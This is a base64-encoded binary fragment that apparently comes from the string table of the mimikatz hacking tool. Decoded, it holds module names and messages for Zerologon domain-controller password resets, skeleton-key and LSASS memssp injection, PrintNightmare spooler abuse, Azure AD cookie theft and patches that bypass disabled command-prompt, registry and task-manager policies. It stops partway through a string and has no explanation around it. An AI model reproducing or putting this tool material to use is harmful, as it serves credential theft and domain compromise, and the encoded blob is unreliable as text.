bQBwAF8AegBlAHIAbwBsAG8AZwBvAG4AIAA7ACAAUgBwAGMARQBwAFIAZQBzAG8AbAB2AGUAQgBpAG4AZABpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB6AGUAcgBvAGwAbwBnAG8AbgAgADsAIABNAGkAcwBzAGkAbgBnACAALwBhAGMAYwBvAHUAbgB0ACAAYQByAGcAdQBtAGUAbgB0ACwAIAB1AHMAdQBhAGwAbAB5ACAAYQAgAEQAQwAkACAAYQBjAGMAbwB1AG4AdAAKAAAAAAAKACAAIAA+ACAAUABhAHMAcwB3AG8AcgBkACAAdQBwAGQAYQB0AGUAZAAgACgAdABvACAAJQB3AFoAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdQBwAGQAYQB0AGUAXwBkAGMAXwBwAGEAcwBzAHcAbwByAGQAXwBjAGEAbABsAGIAYQBjAGsAIAA7ACAAUwBhAG0AUwBlAHQASQBuAGYAbwByAG0AYQB0AGkAbwBuAFUAcwBlAHIAOgAgACUAMAA4AHgACgAAAAoAUAByAG8AYwBlAGQAdQByAGUAIAB0AG8AIAB1AHAAZABhAHQAZQAgAEEARAAgAGQAbwBtAGEAaQBuACAAcABhAHMAcwB3AG8AcgBkACAAYQBuAGQAIABpAHQAcwAgAGwAbwBjAGEAbAAgAHMAdABvAHIAZQBkACAAcABhAHMAcwB3AG8AcgBkACAAcgBlAG0AbwB0AGUAbAB5AAoAbQBpAG0AaQBjACAAYABuAGUAdABkAG8AbQAgAHIAZQBzAGUAdABwAHcAZABgACwAIABlAHgAcABlAHIAaQBtAGUAbgB0AGEAbAAgACYAIABiAGUAcwB0ACAAcwBpAHQAdQBhAHQAaQBvAG4AIABhAGYAdABlAHIAIAByAGUAYgBvAG8AdAAKAAoAAAAAAFQAYQByAGcAZQB0ACAAOgAgACUAdwBaAAoAAABBAGMAYwBvAHUAbgB0ADoAIAAlAHcAWgAKAAoAKgAgAFMAQQBNACAAaQBuAGYAbwByAG0AYQB0AGkAbwBuAAoACgAAAAoAKgAgAEMAbwBtAHAAdQB0AGUAcgAgAHMAdABvAHIAZQBkACAAcABhAHMAcwB3AG8AcgBkAAoACgAAACAAIAA+ACAAUABhAHMAcwB3AG8AcgBkACAAdQBwAGQAYQB0AGUAZAAgACgAdABvACAAJQB3AFoAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB1AHAAZABhAHQAZQBfAGQAYwBfAHAAYQBzAHMAdwBvAHIAZAAgADsAIABMAHMAYQBTAGUAdABTAGUAYwByAGUAdAA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHUAcABkAGEAdABlAF8AZABjAF8AcABhAHMAcwB3AG8AcgBkACAAOwAgAEwAcwBhAE8AcABlAG4AUwBlAGMAcgBlAHQAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB1AHAAZABhAHQAZQBfAGQAYwBfAHAAYQBzAHMAdwBvAHIAZAAgADsAIABMAHMAYQBPAHAAZQBuAFAAbwBsAGkAYwB5ADoAIAAwAHgAJQAwADgAeAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AdQBwAGQAYQB0AGUAXwBkAGMAXwBwAGEAcwBzAHcAbwByAGQAIAA7ACAAQQAgAC8AYQBjAGMAbwB1AG4AdAAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGwAcwBhAGQAdQBtAHAAXwB1AHAAZABhAHQAZQBfAGQAYwBfAHAAYQBzAHMAdwBvAHIAZAAgADsAIABBACAALwB0AGEAcgBnAGUAdAAgAGEAcgBnAHUAbQBlAG4AdAAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAABjAG0AZAAAAEMAbwBtAG0AYQBuAGQAIABQAHIAbwBtAHAAdAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAQwBNAEQAKQAAAAAAcgBlAGcAZQBkAGkAdAAAAAAAAABSAGUAZwBpAHMAdAByAHkAIABFAGQAaQB0AG8AcgAgACAAIAAgACAAIAAgACAAIAAoAHcAaQB0AGgAbwB1AHQAIABEAGkAcwBhAGIAbABlAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAKQAAAAAAdABhAHMAawBtAGcAcgAAAFQAYQBzAGsAIABNAGEAbgBhAGcAZQByACAAIAAgACAAIAAgACAAIAAgACAAIAAgACgAdwBpAHQAaABvAHUAdAAgAEQAaQBzAGEAYgBsAGUAVABhAHMAawBNAGcAcgApAAAAAABuAGMAcgBvAHUAdABlAG0AbwBuAAAAAAAAAAAASgB1AG4AaQBwAGUAcgAgAE4AZQB0AHcAbwByAGsAIABDAG8AbgBuAGUAYwB0ACAAKAB3AGkAdABoAG8AdQB0ACAAcgBvAHUAdABlACAAbQBvAG4AaQB0AG8AcgBpAG4AZwApAAAAAABkAGUAdABvAHUAcgBzAAAAWwBlAHgAcABlAHIAaQBtAGUAbgB0AGEAbABdACAAVAByAHkAIAB0AG8AIABlAG4AdQBtAGUAcgBhAHQAZQAgAGEAbABsACAAbQBvAGQAdQBsAGUAcwAgAHcAaQB0AGgAIABEAGUAdABvAHUAcgBzAC0AbABpAGsAZQAgAGgAbwBvAGsAcwAAAG0AZQBtAHMAcwBwAAAAAABzAGsAZQBsAGUAdABvAG4AAAAAAGMAbwBtAHAAcgBlAHMAcwAAAAAAbABvAGMAawAAAAAAdwBwAAAAAABtAGYAbAB0AAAAAABlAGEAcwB5AG4AdABsAG0AYwBoAGEAbABsAAAAYwBsAGkAcAAAAAAAeABvAHIAAABhAGEAZABjAG8AbwBrAGkAZQAAAG4AZwBjAHMAaQBnAG4AAABzAHAAbwBvAGwAZQByAAAAZQBmAHMAAABwAHIAaQBuAHQAbgBpAGcAaAB0AG0AYQByAGUAAAAAAHMAaABhAGQAbwB3AGMAbwBwAGkAZQBzAAAAAABtAGkAcwBjAAAAAABNAGkAcwBjAGUAbABsAGEAbgBlAG8AdQBzACAAbQBvAGQAdQBsAGUAAAAAAEsAaQB3AGkAQQBuAGQAQwBNAEQAAAAAAEQAaQBzAGEAYgBsAGUAQwBNAEQAAAAAAGMAbQBkAC4AZQB4AGUAAABLAGkAdwBpAEEAbgBkAFIAZQBnAGkAcwB0AHIAeQBUAG8AbwBsAHMAAAAAAEQAaQBzAGEAYgBsAGUAUgBlAGcAaQBzAHQAcgB5AFQAbwBvAGwAcwAAAAAAcgBlAGcAZQBkAGkAdAAuAGUAeABlAAAASwBpAHcAaQBBAG4AZABUAGEAcwBrAE0AZwByAAAAAABEAGkAcwBhAGIAbABlAFQAYQBzAGsATQBnAHIAAAAAAHQAYQBzAGsAbQBnAHIALgBlAHgAZQAAAGQAcwBOAGMAUwBlAHIAdgBpAGMAZQAAAAkAKAAlAHcAWgApAAAAAAAJAFsAJQB1AF0AIAAlAHcAWgAgACEAIAAAAAAAJQAtADMAMgBTAAAAIwAgACUAdQAAAAAACQAgACUAcAAgAC0APgAgACUAcAAAAAAAJQB3AFoAIAAoACUAdQApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBkAGUAdABvAHUAcgBzAF8AYwBhAGwAbABiAGEAYwBrAF8AcAByAG8AYwBlAHMAcwAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAUABhAHQAYwBoACAATwBLACAAZgBvAHIAIAAnACUAcwAnACAAZgByAG8AbQAgACcAJQBzACcAIAB0AG8AIAAnACUAcwAnACAAQAAgACUAcAAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGcAZQBuAGUAcgBpAGMAXwBuAG8AZwBwAG8AXwBwAGEAdABjAGgAIAA7ACAAawB1AGwAbABfAG0AXwBwAGEAdABjAGgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAbQBzAHYAYwByAHQALgBkAGwAbAAAAAAAZm9wZW4AAABmd3ByaW50ZgAAAABmY2xvc2UAAGwAcwBhAHMAcwAuAGUAeABlAAAAbQBzAHYAMQBfADAALgBkAGwAbAAAAAAASQBuAGoAZQBjAHQAZQBkACAAPQApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAG0AZQBtAG8AcgB5AF8AYwBvAHAAeQAgAC0AIABUAHIAYQBtAHAAbwBsAGkAbgBlACAAbgAwACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGUAbQBzAHMAcAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAVAByAGEAbQBwAG8AbABpAG4AZQAgAG4AMQAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBtAGUAbQBvAHIAeQBfAGMAbwBwAHkAIAAtACAAcgBlAGEAbAAgAGEAcwBtACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAGsAdQBsAGwAXwBtAF8AbQBlAG0AbwByAHkAXwBzAGUAYQByAGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZQBtAHMAcwBwACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBlAG0AcwBzAHAAIAA7ACAAawB1AGwAbABfAG0AXwBwAHIAbwBjAGUAcwBzAF8AZwBlAHQAUAByAG8AYwBlAHMAcwBJAGQARgBvAHIATgBhAG0AZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAbABlAHQAYQBlAHMAAAAAAGsAZABjAHMAdgBjAC4AZABsAGwAAAAAAFsASwBEAEMAXQAgAGQAYQB0AGEACgAAAFsASwBEAEMAXQAgAHMAdAByAHUAYwB0AAoAAABbAEsARABDAF0AIABrAGUAeQBzACAAcABhAHQAYwBoACAATwBLAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABTAGUAYwBvAG4AZAAgAHAAYQB0AHQAZQByAG4AIABuAG8AdAAgAGYAbwB1AG4AZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAARgBpAHIAcwB0ACAAcABhAHQAdABlAHIAbgAgAG4AbwB0ACAAZgBvAHUAbgBkAAoAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AcwBrAGUAbABlAHQAbwBuACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAGMAcgB5AHAAdABkAGwAbAAuAGQAbABsAAAAAABbAFIAQwA0AF0AIABmAHUAbgBjAHQAaQBvAG4AcwAKAAAAAABbAFIAQwA0AF0AIABpAG4AaQB0ACAAcABhAHQAYwBoACAATwBLAAoAAAAAAFsAUgBDADQAXQAgAGQAZQBjAHIAeQBwAHQAIABwAGEAdABjAGgAIABPAEsACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAGsAZQBsAGUAdABvAG4AIAA7ACAAVQBuAGEAYgBsAGUAIAB0AG8AIABjAHIAZQBhAHQAZQAgAHIAZQBtAG8AdABlACAAZgB1AG4AYwB0AGkAbwBuAHMACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAawBlAGwAZQB0AG8AbgAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAaQBuAHAAdQB0AAAAbQBpAG0AaQBrAGEAdAB6AF8AeAA4ADYALgBjAG8AbQBwAHIAZQBzAHMAZQBkAAAAbwB1AHQAcAB1AHQAAAAAAAAAAABJAG4AcAB1AHQAIAA6ACAAJQBzAAoATwB1AHQAcAB1AHQAOgAgACUAcwAKAAoATwBwAGUAbgBpAG4AZwA6ACAAAAAAACAAKgAgAE8AcgBpAGcAaQBuAGEAbAAgAHMAaQB6AGUAIAAgADoAIAAlAHUACgAAAAAAAAAgACoAIABDAG8AbQBwAHIAZQBzAHMAZQBkACAAcwBpAHoAZQA6ACAAJQB1ACAAKAAlAC4AMgBmACUAJQApAAoAAAAAAFcAcgBpAHQAaQBuAGcAOgAgAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYwBvAG0AcAByAGUAcwBzACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBjAG8AbQBwAHIAZQBzAHMAIAA7ACAAawB1AGwAbABfAG0AXwBmAGkAbABlAF8AcgBlAGEAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBjAG8AbQBwAHIAZQBzAHMAIAA7ACAAQQBuACAALwBvAHUAdABwAHUAdAA6AGYAaQBsAGUAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYwBvAG0AcAByAGUAcwBzACAAOwAgAEEAbgAgAC8AaQBuAHAAdQB0ADoAZgBpAGwAZQAgAGkAcwAgAG4AZQBlAGQAZQBkAAoAAAAAAGUAeABwAGwAbwByAGUAcgAuAGUAeABlAAAAAABQAHIAbwB4AHkAIABwAHIAbwBjAGUAcwBzACAAOgAgACUAdwBaAAoAAAAAAD4AIABGAG8AdQBuAGQAIAAlAHcAWgAgAHcAaQB0AGgAIABQAEkARAAgACUAdQAgADoAIAAAAAAAdQBzAGUAcgAzADIALgBkAGwAbAAAAAAATG9ja1dvcmtTdGF0aW9uAGUAcgByAG8AcgAgACUAdQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGwAbwBjAGsAXwBmAG8AcgBfAHAAaQBkACAAOwAgAGsAdQBsAGwAXwBtAF8AcgBlAG0AbwB0AGUAbABpAGIAXwBjAHIAZQBhAHQAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBsAG8AYwBrAF8AZgBvAHIAXwBwAGkAZAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AQwByAGUAYQB0AGUAUgBlAG0AbwB0AGUAQwBvAGQAZQBXAGkAdAB0AGgAUABhAHQAdABlAHIAbgBSAGUAcABsAGEAYwBlAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGwAbwBjAGsAXwBmAG8AcgBfAHAAaQBkACAAOwAgAE8AcABlAG4AUAByAG8AYwBlAHMAcwAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABXAGEAbABsAHAAYQBwAGUAcgAgAGYAaQBsAGUAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AdwBwACAAOwAgAGYAaQBsAGUAIABhAHIAZwB1AG0AZQBuAHQAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAU3lzdGVtUGFyYW1ldGVyc0luZm9XAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AdwBwAF8AZgBvAHIAXwBwAGkAZAAgADsAIABrAHUAbABsAF8AbQBfAHIAZQBtAG8AdABlAGwAaQBiAF8AYwByAGUAYQB0AGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHcAcABfAGYAbwByAF8AcABpAGQAIAA7ACAAawB1AGwAbABfAG0AXwByAGUAbQBvAHQAZQBsAGkAYgBfAEMAcgBlAGEAdABlAFIAZQBtAG8AdABlAEMAbwBkAGUAVwBpAHQAdABoAFAAYQB0AHQAZQByAG4AUgBlAHAAbABhAGMAZQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AdwBwAF8AZgBvAHIAXwBwAGkAZAAgADsAIABPAHAAZQBuAFAAcgBvAGMAZQBzAHMAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAG0AZgBsAHQAIAA7ACAARgBpAGwAdABlAHIARgBpAG4AZABOAGUAeAB0ACgAZABhAHQAYQApADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBtAGYAbAB0ACAAOwAgAEYAaQBsAHQAZQByAEYAaQBuAGQATgBlAHgAdAAoAHMAaQB6AGUAKQA6ACAAMAB4ACUAMAA4AHgACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AbQBmAGwAdAAgADsAIABGAGkAbAB0AGUAcgBGAGkAbgBkAEYAaQByAHMAdAAoAGQAYQB0AGEAKQA6ACAAMAB4ACUAMAA4AHgACgAAACUAdQAgACUAdQAgACUAMQAwAC4AKgBzACAAJQAuACoAcwAKAAAAAAAtAC0ALQAgAEwARQBHAEEAQwBZACAALQAtAC0AIAAlAC4AKgBzAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBlAGEAcwB5AG4AdABsAG0AYwBoAGEAbABsACAAOwAgAFcAaQBuAGQAbwB3AHMAIAB2AGUAcgBzAGkAbwBuACAAaQBzACAAbgBvAHQAIABzAHUAcABwAG8AcgB0AGUAZAAgACgAeQBlAHQAKQAKAAAAbQBpAG0AaQBrAGEAdAB6AF8AVwBpAG4AZABvAHcAXwBNAGUAcwBzAGEAZwBlAAAAAAAAAE0AbwBuAGkAdABvAHIAaQBuAGcAIABDAGwAaQBwAEIAbwBhAHIAZAAuAC4ALgAoAEMAVABSAEwAKwBDACAAdABvACAAcwB0AG8AcAApAAoACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBjAGwAaQBwACAAOwAgAEcAZQB0AE0AZQBzAHMAYQBnAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBjAGwAaQBwACAAOwAgAEMAaABhAG4AZwBlAEMAbABpAHAAYgBvAGEAcgBkAEMAaABhAGkAbgAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYwBsAGkAcAAgADsAIABEAGUAcwB0AHIAbwB5AFcAaQBuAGQAbwB3ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBjAGwAaQBwACAAOwAgAFUAbgByAGUAZwBpAHMAdABlAHIAQwBsAGEAcwBzACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGMAbABpAHAAIAA7ACAAUgBlAGcAaQBzAHQAZQByAEMAbABhAHMAcwBFAHgAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAQwBsAGkAcABEAGEAdABhADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AYwBsAGkAcABfAE0AYQBpAG4AVwBuAGQAUAByAG8AYwAgADsAIABHAGUAdABDAGwAaQBwAGIAbwBhAHIAZABEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABJAG4AcAB1AHQAIAA6ACAAJQBzAAoATwB1AHQAcAB1AHQAOgAgACUAcwAKAFgAbwByACAAIAAgADoAIAAwAHgAJQAwADIAeAAKAAoATwBwAGUAbgBpAG4AZwA6ACAAAABPAEsACgBXAHIAaQB0AGkAbgBnADoAIAAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHgAbwByACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAHcAcgBpAHQAZQBEAGEAdABhACAAKAAwAHgAJQAwADgAeAApAAoAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwB4AG8AcgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwByAGUAYQBkAEQAYQB0AGEAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBtAGkAcwBjAF8AeABvAHIAIAA7ACAAQQBuACAALwBvAHUAdABwAHUAdAA6AGYAaQBsAGUAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwB4AG8AcgAgADsAIABBAG4AIAAvAGkAbgBwAHUAdAA6AGYAaQBsAGUAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAAAAAAGgAdAB0AHAAcwA6AC8ALwBsAG8AZwBpAG4ALgBtAGkAYwByAG8AcwBvAGYAdABvAG4AbABpAG4AZQAuAGMAbwBtAAAAdQByAGkAAABVAFIASQA6ACAAJQBzAAoACgAAAEMAbwBvAGsAaQBlACAAYwBvAHUAbgB0ADoAIAAlADIAdQAKAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ALQAtAC0ACgAAAAoAQwBvAG8AawBpAGUAIAAlAHUACgAAACAAIABuAGEAbQBlACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAACAAIABkAGEAdABhACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAACAAIABmAGwAYQBnAHMAIAAgACAAIAA6ACAAMAB4ACUAMAA4AHgAIAAoACUAdQApAAoAAAAgACAAcAAzAHAASABlAGEAZABlAHIAOgAgACUAcwAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGEAZABjAG8AbwBrAGkAZQAgADsAIABHAGUAdABDAG8AbwBrAGkAZQBJAG4AZgBvAEYAbwByAFUAcgBpADoAIAAwAHgAJQAwADgAeAAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBhAGEAZABjAG8AbwBrAGkAZQAgADsAIABDAG8AQwByAGUAYQB0AGUASQBuAHMAdABhAG4AYwBlADoAIAAwAHgAJQAwADgAeAAKAAAAcwBpAGcAbgBlAGQAaQBuAGYAbwAAAAAACgBLAGUAeQBWAGEAbAB1AGUAIAA6ACAAAAAAAAAAAAAKAEwAYQBiAGUAbAAgACAAIAAgADoAIAAlAFMAIAAoAGEAcwBjAGkAaQApAAoAQwBvAG4AdABlAHgAdAAgACAAOgAgAAAAAAAKAEQAYQB0AGEAIAAgACAAIAAgADoAIAAlAFMAIAAoAGEAcwBjAGkAaQApAAoAAAAKAFMAaQBnAG4AYQB0AHUAcgBlADoAIAAAAAAAIAAoACUAUwAgAGIAYQBzAGUANgA0ACkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAYQBkAGMAbwBvAGsAaQBlAF8ATgBnAGMAUwBpAGcAbgBXAGkAdABoAFMAeQBtAG0AZQB0AHIAaQBjAFAAbwBwAEsAZQB5ACAAOwAgAEkAbgB2AGEAbABpAGQAIABLAGUAeQBWAGEAbAB1AGUAIABmAG8AcgBtAGEAdAA/AAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAGEAYQBkAGMAbwBvAGsAaQBlAF8ATgBnAGMAUwBpAGcAbgBXAGkAdABoAFMAeQBtAG0AZQB0AHIAaQBjAFAAbwBwAEsAZQB5ACAAOwAgAC8AawBlAHkAdgBhAGwAdQBlADoAYgBhAHMAZQA2ADQAIABpAHMAIABuAGUAZQBkAGUAZAAKAAAAAAAAAAAAWwBhAHUAdABoACAAXQAgAEUAeABwAGwAaQBjAGkAdAAgAGEAdQB0AGgAZQBuAHQAaQBjAGEAdABpAG8AbgAKAAAAAABbAGEAdQB0AGgAIABdACAAVQBzAGUAcgBuAGEAbQBlADoAIAAlAHMACgAAAFsAYQB1AHQAaAAgAF0AIABQAGEAcwBzAHcAbwByAGQAOgAgACUAcwAKAAAAWwBhAHUAdABoACAAXQAgAE4AbwBuAGUACgAAAFsAYQB1AHQAaAAgAF0AIABEAGUAZgBhAHUAbAB0ACAAKABjAHUAcgByAGUAbgB0ACkACgAAAAAAXABwAGkAcABlAFwAcwBwAG8AbwBsAHMAcwAAAFsAIAByAHAAYwAgAF0AIABFAG4AZABwAG8AaQBuAHQAOgAgACUAcwAKAAAAYwBvAG4AbgBlAGMAdAAAAGMAYQBsAGwAYgBhAGMAawAAAAAAXABcACUAcwBcAEkAUABDACQAAABcAFwAJQBzAAAAAAAAAAAAWwB0AHIAYQBuAHMAXQAgAEQAaQBzAGMAbwBuAG4AZQBjAHQAIABlAHYAZQBuAHQAdQBhAGwAIABJAFAAQwA6ACAAAABPAEsACgBbAHQAcgBhAG4AcwBdACAAQwBvAG4AbgBlAGMAdAAgAHQAbwAgAEkAUABDADoAIAAAAFsAIAByAHAAYwAgAF0AIABSAGUAcwBvAGwAdgBlACAARQBuAGQAcABvAGkAbgB0ADoAIAAAAAAATwBLAAoACgAAAAAAQwBvAG4AbgBlAGMAdABlAGQAIAB0AG8AIAB0AGgAZQAgAHQAYQByAGcAZQB0ACwAIABhAG4AZAAgAG4AbwB0AGkAZgBpAGMAYQB0AGkAbwBuACAAaQBzACAATwBLACAAKAA/ACEAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAcABvAG8AbABlAHIAIAA7ACAAUgBwAGMARgBpAG4AZABDAGwAbwBzAGUAUAByAGkAbgB0AGUAcgBDAGgAYQBuAGcAZQBOAG8AdABpAGYAaQBjAGEAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgACgAAAAAAQQBjAGMAZQBzAHMAIABpAHMAIABkAGUAbgBpAGUAZAAgACgAYwBhAG4AIABiAGUAIABPAEsAKQAKAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAcABvAG8AbABlAHIAIAA7ACAAUgBwAGMAUgBlAG0AbwB0AGUARgBpAG4AZABGAGkAcgBzAHQAUAByAGkAbgB0AGUAcgBDAGgAYQBuAGcAZQBOAG8AdABpAGYAaQBjAGEAdABpAG8AbgA6ACAAMAB4ACUAMAA4AHgACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAcABvAG8AbABlAHIAIAA7ACAAUgBwAGMAQwBsAG8AcwBlAFAAcgBpAG4AdABlAHIAOgAgADAAeAAlADAAOAB4AAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAG0AaQBzAGMAXwBzAHAAbwBvAGwAZQByACAAOwAgAFIAcABjAE8AcABlAG4AUAByAGkAbgB0AGUAcgA6ACAAMAB4ACUAMAA4AHgACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbQBpAHMAYwBfAHMAcABvAG8AbABlAHIAIAA7ACAAUgBQAEMAIABFAHgAYwBlAHAAdABpAG8